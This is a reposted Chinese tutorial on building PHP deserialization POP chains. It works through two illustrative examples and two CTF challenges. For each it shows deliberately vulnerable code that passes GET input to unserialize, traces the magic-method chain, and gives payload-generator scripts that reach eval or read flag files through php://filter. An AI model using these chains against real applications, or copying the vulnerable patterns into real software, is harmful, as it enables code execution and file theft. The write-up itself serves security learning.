php反序列化——pop鏈實戰


轉載自:https://arsenetang.github.io/2021/08/17/反序列化篇之pop鏈的構造(下)/

php反序列化詳解參考:https://www.cnblogs.com/pursue-security/p/15291087.html

php反序列化之魔法函數詳解:https://www.cnblogs.com/pursue-security/p/15291121.html

本文主要是通過一些實例來學習pop鏈的構造

實例一

一般來說,出現php反序列化漏洞是因為有寫的不安全的魔術方法,因為魔術方法會自動調用,那我們就可以構造惡意的exp來觸發它,但有的時候如果出現漏洞的代碼不在魔術方法中,而是只在一個普通方法中,那我們怎么利用呢?這時候我們可以尋找魔術方法中是否調用了同名的函數,然后通過相同的函數名將類的屬性和魔術方法中的屬性聯系起來

<?php
highlight_file(__FILE__);
class test {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new normal();
    }
    function __destruct() {
        $this->ClassObj->action();
    }
}
class normal {
    function action() {
        echo "HelloWorld";
    }
}
class evil {
    private $data;
    function action() {
        eval($this->data);
    }
}

unserialize($_GET['a']);
?>

比如說上面這個例子,危險函數應該是evil類中的action方法,里面有個eval,但action方法並不是魔術方法,一般情況下我們是很難調用它的,但我們看到test類中的__destruct()調用了action方法,但在__construct()中可以看出它創建了一個normal類的對象,然后調用的是normal類中的action方法;這個就很好辦,我們把魔術方法中的屬性改一下,改成創建一個evil類的對象,那它自然調用的就是evil類中的action方法了,有了思路下面就來構造:

<?php
class test {
    protected $ClassObj;
}
class evil {
    private $data='phpinfo();';
}
$a = new evil();
$b = new test();
$b -> ClassObj = $a;
echo serialize(urlencode($a));
?>

本來構造出來應該是這樣,創建一個evil類的對象然后把它賦值給ClassObj屬性,但這里這樣寫不行,因為ClassObj屬性是protected屬性,不能在類外面訪問它,所以說我們得在test類里面寫一個__construct()來完成這個操作:

<?php
class test {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new evil();
    }
}
class evil {
    private $data='phpinfo();';
}
$a = new test();
echo urlencode(serialize($a));
?>

 

 例題二

<?php
highlight_file(__FILE__);
class Hello
{
    public $source;
    public $str;
    public function __construct($name)
    {
        $this->str=$name;
    }
    public function __destruct()
    {
        $this->source=$this->str;
        echo $this->source;
    }
}
class Show
{
    public $source;
    public $str;
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
}

class Uwant
{
    public $params;
    public function __construct(){
        $this->params='phpinfo();';
    }
    public function __get($key){
        return $this->getshell($this->params);
    }
    public function getshell($value)
    {
        eval($this->params);
    }
}
$a = $_GET['a'];
unserialize($a);
?>

思路分析:先找鏈子的頭和尾,頭部明顯是GET傳參,尾部是Uwant類中的getshell,然后往上倒推,Uwant類中的__get()中調用了getshellShow類中的toString調用了__get(),然后Hello類中的__destruct(),而我們GET傳參之后會先進入__destruct(),這樣子頭和尾就連上了,所以說完整的鏈子就是:

頭 -> Hello::__destruct() -> Show::__toString() -> Uwant::__get() -> Uwant::getshell -> 尾

至於魔術方法具體是怎么調用的這就不講了,請看上一篇文章,這兒就簡單提一下,在Hello類中我們要把$this->str賦值成對象,下面echo出來才能調用Show類中的__toString(),然后再把Show類中的$this->str['str']賦值成對象,來調用Uwant類中的__get()

<?php
class Hello
{
    public $source;
    public $str;
}
class Show
{
    public $source;
    public $str;
}
class Uwant
{
    public $params='phpinfo();';
}
$a = new Hello();
$b = new Show();
$c = new Uwant();
$a -> str = $b;
$b -> str['str'] = $c;
echo urlencode(serialize($a));

 

 例題三——2020 mrctf ezpop

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

思路分析:仍然是先找鏈子的頭和尾,頭部依然是一個GET傳參,而尾部在Modifier類中的append()方法中,因為里面有個include可以完成任意文件包含,那我們很容易就可以想到用偽協議來讀文件,綜合上面的提示,應該flag就是在flag.php中,我們把它讀出來就好;找到尾部之后往前倒推,在Modifier類中的__invoke()調用了append(),然后在Test類中的__get()返回的是$function(),可以調用__invoke(),再往前Show類中的__toString()可以調用__get(),然后在Show類中的__wakeup()中有一個正則匹配,可以調用__toString(),然后當我們傳入字符串,反序列化之后最先進入的就是__wakeup(),這樣子頭和尾就連上了,如下圖(來自LTLT):

 

 頭 -> Show::__wakeup() -> Show::__toString() -> Test::__get() -> Modifier::__invoke() -> Modifier::append -> 尾

<?php
class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}
$a = new Show();
$b = new Show();
$c = new Test();
$d = new Modifier();
$a -> source = $b;
$b -> str = $c;
$c -> p = $d;
echo urlencode(serialize($a));

?>

 

 然后base64解碼

 

 例題四——2021 強網杯 賭徒

<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);


class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
    
    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';
    
    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
    
    public function __get($name){
        $function = $this->a;
        return $function();
    }
    
    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $hi = new  Start();
}

?>

 

分析:首先依然是找到頭和尾,頭部依然是一個GET傳參,而尾部可以看到Room類中有個Get_hint()方法,里面有一個file_get_contents,可以實現任意文件讀取,我們就可以利用這個讀取flag文件了,然后就是往前倒推,Room類中__invoke()方法調用了Get_hint(),然后Room類的__get()里面有個return $function()可以調用__invoke(),再往前看,Info類中的__toString()中有Room類中不存在的屬性,所以可以調用__get(),然后Start類中有個_sayhello()可以調用__toString(),然后在Start類中__wakeup()方法中直接調用了_sayhello(),而我們知道的是,輸入字符串之后就會先進入__wakeup(),這樣頭和尾就連上了

有了思路我們就直接開始構造,一般找思路我們是從尾到頭,而構造則是直接從頭到尾

頭 -> Start::__wakeup() -> Start::_sayhello() -> Info::__toString() -> Room::__get() -> Room::invoke() -> Room::Get_hint() 

<?php
class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';
    
    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }
}
class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
}
$a = new Start();
$b = new Info();
$c = new Room();
$d = new Room();
$a -> name = $b;
$b -> file['filename'] = $c;
$c -> a = $d;
echo urlencode(serialize($a));
?>

 

 成功打通,注意要把前面的hi去掉再進行base64編碼才能得到flag。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM